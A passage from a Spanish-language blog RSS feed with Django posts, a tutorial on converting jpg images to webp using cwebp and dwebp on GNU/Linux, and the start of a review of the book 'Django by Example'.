inverso&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;OrderedContent&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;QuerySet [&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;OrderedContent: The imitation game created at &lt;span style=&#34;color:#ff9f43&#34;&gt;22&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;01&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;OrderedContent: Arrival created at &lt;span style=&#34;color:#ff9f43&#34;&gt;22&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;00&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;OrderedContent: Eterno resplandor de una mente sin recuerdos created at &lt;span style=&#34;color:#ff9f43&#34;&gt;21&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;59&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como puedes ver pudimos acceder a los mismos tres objetos de la base de datos &lt;strong&gt;desde ambos modelos&lt;/strong&gt;, con la diferencia de que en el modelo &lt;em&gt;OrderedContent&lt;/em&gt; nuestros objetos aparecen ordenados descendentemente con respecto al campo &lt;em&gt;created&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Sí quieres saber más sobre Django, puedo recomendarte algunos libros. Lee mi &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/el-mejor-libro-de-django-resena-de-two-scoops-of-django/&#34;&gt;reseña sobre two scoops of django&lt;/a&gt;&#xA;, un libro genial que te enseña buenas prácticas Django Framework.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;A veces, cuando creamos Modelos en Django queremos darle ciertas características en común a varios de nuestros modelos. Probablemente, la aproximación que se nos vendría primero a la mente sería repetir los campos una y otra vez. Lo anterior nos traería dos problemas; el primero, estamos repitiendo información; el segundo, si queremos agregar otro campo en común tendremos que modificar cada uno de los modelos. Esta problemática es la que resuelve la herencia de modelos de Django.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Cómo convertir jpg a webp en GNU Linux?</title>
      <link>https://coffeebytes.dev/es/linux/como-convertir-jpg-a-webp-en-gnu-linux/</link>
      <pubDate>Thu, 10 Sep 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/linux/como-convertir-jpg-a-webp-en-gnu-linux/</guid>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Hace un par de semanas quería convertir las imágenes de mi ecommerce de jpg a webp. Normalmente para modificar imágenes en GNU/Linux uso GIMP o imageMagick, pero ninguno de estos dos tienen soporte nativo para webp, o si lo tienen soy tan despistado que no me he dado cuenta.&lt;/p&gt;&#xA;&lt;p&gt;¿Y por qué no usar conversión en linea? Pues es una buena opción para un par de imágenes, pero cuando conviertes muchas pues&amp;hellip; se vuelve algo tedioso, además ¿por qué no hacerlo directo en nuestro SO?&lt;/p&gt;&#xA;&lt;h2 id=&#34;por-que-deberia-usar-webp&#34;&gt;¿Por qué debería usar webp?&lt;/h2&gt;&#xA;&lt;p&gt;El formato JPG ha estado algo de tiempo pero han surgido nuevos formatos que prometen &lt;strong&gt;la misma calidad con un menor tamaño de archivo&lt;/strong&gt;. Uno de ellos es webp, desarrollado por google.&lt;/p&gt;&#xA;&lt;p&gt;Menor peso en nuestras imágenes significa mejor rendimiento. Un sitio web que cargue más rápido tendrá mejores indicadores en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://web.dev/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Lighthouse&lt;/a&gt;&#xA; y un menor consumo de datos para el usuario.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;descargando-webp&#34;&gt;Descargando webp&lt;/h2&gt;&#xA;&lt;p&gt;El primer paso para transformar nuestras imágenes a formato webp es descargar las librerías apropiadas. El paquete que necesitamos para transformar nuestras imágenes se llama webp y se encuentra en los repositorios de las distribuciones populares de GNU/Linux. Instalémoslo.&lt;/p&gt;&#xA;&lt;p&gt;Si el siguiente comando no te suena o quieres repasar los comandos básicos de GNU/Linux por favor visita mis entradas donde hablo de los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-grep-ls-cd-history-cat-cp-rm-scp/&#34;&gt;comandos más usuales de GNU Linux&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install webp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Para esta entrada utilizaré una imagen gratuita, en resolución 1920 x 1280, que descargué desde &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.pexels.com/photo/tan-coconuts-placed-atop-brown-wooden-table-1120963/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;pexels&lt;/a&gt;&#xA;, tu puedes usar la que quieras, hasta la foto de tu perro.&lt;/p&gt;&#xA;&lt;p&gt;El tamaño mi imagen es de 476 Kb.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ du -h pexels-artem-beliaikin-1120963.jpg&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;476K pexels-artem-beliaikin-1120963.jpg&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;convertir-de-jpg-a-webp&#34;&gt;Convertir de jpg a webp&lt;/h2&gt;&#xA;&lt;p&gt;Tras haber instalado webp, el comando &lt;em&gt;cwebp&lt;/em&gt; estará disponible, sí, con la letra &amp;ldquo;c&amp;rdquo; al principio; yo también me he confundido y he querido usarlo como webp a secas al principio.&lt;/p&gt;&#xA;&lt;p&gt;El comando cwebp nos servirá para convertir nuestra imagen y además es muy sencillo de usar; solo colocamos la imagen que queremos convertir y especificamos el nombre de nuestro archivo de salida con la opción &lt;em&gt;-o&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cwebp pexels-artem-beliaikin-1120963.jpg -o imagen_procesada.webp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Saving file &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;imagen_procesada.webp&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;File:      pexels-artem-beliaikin-1120963.jpg&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Dimension: &lt;span style=&#34;color:#ff9f43&#34;&gt;1920&lt;/span&gt; x &lt;span style=&#34;color:#ff9f43&#34;&gt;1280&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Output:    &lt;span style=&#34;color:#ff9f43&#34;&gt;226348&lt;/span&gt; bytes Y-U-V-All-PSNR 38.69 45.41 46.33   40.05 dB&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;block count:  intra4: &lt;span style=&#34;color:#ff9f43&#34;&gt;7027&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              intra16: &lt;span style=&#34;color:#ff9f43&#34;&gt;2573&lt;/span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;-&amp;gt; 26.80%&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              skipped block: &lt;span style=&#34;color:#ff9f43&#34;&gt;454&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;4.73%&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bytes used:  header:            &lt;span style=&#34;color:#ff9f43&#34;&gt;276&lt;/span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;0.1%&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;             mode-partition:  &lt;span style=&#34;color:#ff9f43&#34;&gt;32578&lt;/span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;14.4%&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Residuals bytes  |segment 1|segment 2|segment 3|segment 4|  total&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    macroblocks:  |       5%|      15%|      27%|      51%|    &lt;span style=&#34;color:#ff9f43&#34;&gt;9600&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      quantizer:  |      &lt;span style=&#34;color:#ff9f43&#34;&gt;36&lt;/span&gt; |      &lt;span style=&#34;color:#ff9f43&#34;&gt;33&lt;/span&gt; |      &lt;span style=&#34;color:#ff9f43&#34;&gt;27&lt;/span&gt; |      &lt;span style=&#34;color:#ff9f43&#34;&gt;21&lt;/span&gt; |&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   filter level:  |      &lt;span style=&#34;color:#ff9f43&#34;&gt;11&lt;/span&gt; |       &lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt; |      &lt;span style=&#34;color:#ff9f43&#34;&gt;30&lt;/span&gt; |      &lt;span style=&#34;color:#ff9f43&#34;&gt;33&lt;/span&gt; |&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Listo, ahora debemos tener un archivo con extensión &lt;em&gt;webp&lt;/em&gt; en nuestra misma carpeta.&lt;/p&gt;&#xA;&lt;h2 id=&#34;convertir-webp-a-jpg&#34;&gt;Convertir webp a jpg&lt;/h2&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Si queremos hacer lo contrario, es decir, convertir de webp al clásico necesitaremos hacerlo en dos pasos:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;convertir el webp a png&lt;/li&gt;&#xA;&lt;li&gt;convertir el png a jpg&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dwebp &amp;lt;input.webp&amp;gt; -o &amp;lt;output.png&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora podemos usar convert u cualquier otra herramienta para pasar de png a jpg&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;convert &amp;lt;output.png&amp;gt; &amp;lt;output_converted.jpg&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;cual-es-mas-ligero-webp-o-jpg&#34;&gt;¿Cuál es más ligero webp o jpg?&lt;/h2&gt;&#xA;&lt;p&gt;Si ahora comparamos los tamaños de ambos archivos notaremos que nuestra nueva imagen tiene &lt;strong&gt;cerca de la mitad de tamaño que su versión en &lt;em&gt;jpg&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;La calidad del archivo webp resultante te toca juzgarla a ti mismo. A mi me ha parecido prácticamente la misma, con sutiles diferencias; quizás una perdida muy leve de contraste, pero casi imperceptible.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;du -h *&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;224K&#x9;imagen_procesada.webp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;476K&#x9;pexels-artem-beliaikin-1120963.jpg&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;como-convertir-muchas-imagenes-jpg-a-webp&#34;&gt;¿Cómo convertir muchas imágenes jpg a webp?&lt;/h2&gt;&#xA;&lt;p&gt;Convertir muchas imágenes a formato &lt;em&gt;webp&lt;/em&gt; es más una solución a nivel de terminal que del programa &lt;em&gt;cwebp&lt;/em&gt; en si mismo. De cualquiera manera te dejo el código necesario para convertir todas imágenes &lt;em&gt;jpg&lt;/em&gt; en la carpeta donde lo ejecutes a su equivalente en formato &lt;em&gt;webp&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; image in *.jpg; &lt;span style=&#34;color:#ff6ac1&#34;&gt;do&lt;/span&gt; cwebp &lt;span style=&#34;color:#ff5c57&#34;&gt;$image&lt;/span&gt; -o &lt;span style=&#34;color:#5af78e&#34;&gt;`&lt;/span&gt;basename &lt;span style=&#34;color:#5af78e&#34;&gt;${&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;image&lt;/span&gt;%.jpg&lt;span style=&#34;color:#5af78e&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;`&lt;/span&gt;.webp; &lt;span style=&#34;color:#ff6ac1&#34;&gt;done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;y-que-hago-si-safari-no-tiene-soporte-para-webp&#34;&gt;¿Y qué hago si Safari no tiene soporte para webp?&lt;/h2&gt;&#xA;&lt;p&gt;A la fecha de publicación de este artículo &lt;strong&gt;solo hay dos navegadores web que no tienen soporte para webp&lt;/strong&gt;; Safari y KaiOS Browser, según &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://caniuse.com/#search=webp&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;caniuse&lt;/a&gt;&#xA;. Aunque he leído que los desarrolladores de Safari planean otorgarlo soporte completo para webp para finales del 2020.&lt;/p&gt;&#xA;&lt;p&gt;Pero, si no puedes esperar, la solución es usar las etiquetas &lt;em&gt;figure&lt;/em&gt; y &lt;em&gt;source&lt;/em&gt;. La etiqueta &lt;em&gt;picture&lt;/em&gt; se encargará de envolver fuentes de imágenes que le especifiquemos. El navegador elegirá descargar o ignorar cada una basándose en los formatos que soporte. Es decir, si el navegador tiene soporte para webp descargará la imagen webp, si no lo tiene descargará la imagen en jpg.&lt;/p&gt;&#xA;&lt;p&gt;No necesito decirte que para que esto funcione debes tener una imagen en formato jpg y otra imagen en formato webp, y ambas deben estar accesibles para el navegador, ¿cierto?&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;picture&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;source&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;srcset&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://turuta.com/imagen.webp&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;image/webp&amp;#34;&lt;/span&gt;&amp;gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;source&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;srcset&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://turuta.com/imagen.jpg&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;image/jpeg&amp;#34;&lt;/span&gt;&amp;gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;img&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;src&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://turuta.com/imagen_.webp&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;alt&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34; class=&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;img-class&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;picture&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content:encoded>
      <summary>&lt;p&gt;Hace un par de semanas quería convertir las imágenes de mi ecommerce de jpg a webp. Normalmente para modificar imágenes en GNU/Linux uso GIMP o imageMagick, pero ninguno de estos dos tienen soporte nativo para webp, o si lo tienen soy tan despistado que no me he dado cuenta.&lt;/p&gt;&#xA;&lt;p&gt;¿Y por qué no usar conversión en linea? Pues es una buena opción para un par de imágenes, pero cuando conviertes muchas pues&amp;hellip; se vuelve algo tedioso, además ¿por qué no hacerlo directo en nuestro SO?&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Aprender Django con Django by Example, mi reseña</title>
      <link>https://coffeebytes.dev/es/django/aprender-django-con-django-by-example-mi-resena/</link>
      <pubDate>Tue, 01 Sep 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/aprender-django-con-django-by-example-mi-resena/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Este libro planea enseñarte Django mediante la creación desde cero de cuatro proyectos. Django by Example parte creando un blog, luego una red social, una tienda en linea y al final una plataforma de aprendizaje. Cada proyecto es desarrollado prácticamente desde cero y utiliza algunas librerías para complementar las funciones.&lt;/p&gt;&#xA;&lt;p&gt;Si no conoces las ventajas y desventajas que ofrece Django, visita mi entrada donde te explico algunas &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;ventajas y desventajas del framework Django de desarrollo web.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;proyecto-del-blog&#34;&gt;Proyecto del Blog&lt;/h2&gt;&#xA;&lt;p&gt;El primer proyecto que propone Django by Example es el clásico ejemplo de un blog sencillo, con autores y entradas. El autor diseña un blog y te enseñan el funcionamiento básico de Django, modelos, vistas, urls y plantillas, ya sabes, lo básico. Como aspecto a resaltar se ve paginación de los modelos y como integrarla en el sistemas de plantillas usando Jquery. En pocas palabras estamos ante el tutorial básico de Django de la documentación pero con libros en lugar de encuestas.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;red-social&#34;&gt;Red social&lt;/h2&gt;&#xA;&lt;p&gt;El siguiente proyecto es una red social similar a Pinterest, donde se guardan imágenes de otros sitios web para compartirlas más tarde usando Jquery, esta red social cuenta con un sistema de seguimiento de usuarios (parecido al de Facebook, por si quieres hacerle la competencia). Para este capítulo el autor profundiza en los formularios, los formularios basados en modelos, el manejo de envío de emails, la creación de etiquetas personalizadas, filtros para el sistema de plantillas y el uso del sistema de autenticación y sesiones integrados de Django. Como tópicos más avanzados se profundiza en la creación de un sitemap, la búsqueda avanzada usando &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://lucene.apache.org/solr/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Solr&lt;/a&gt;&#xA; y &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://haystacksearch.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Haystack&lt;/a&gt;&#xA;, redis y señales de Django.&lt;/p&gt;&#xA;&lt;h2 id=&#34;programando-una-tienda-en-linea&#34;&gt;Programando una tienda en linea&lt;/h2&gt;&#xA;&lt;p&gt;El tercer proyecto consiste en una tienda en linea que implementa un sistema de pagos usando Paypal, un catálogo de productos, cuentas de usuario y un carrito de compras. Para la tienda en linea se repasará el contenido de los capítulos anteriores y además se 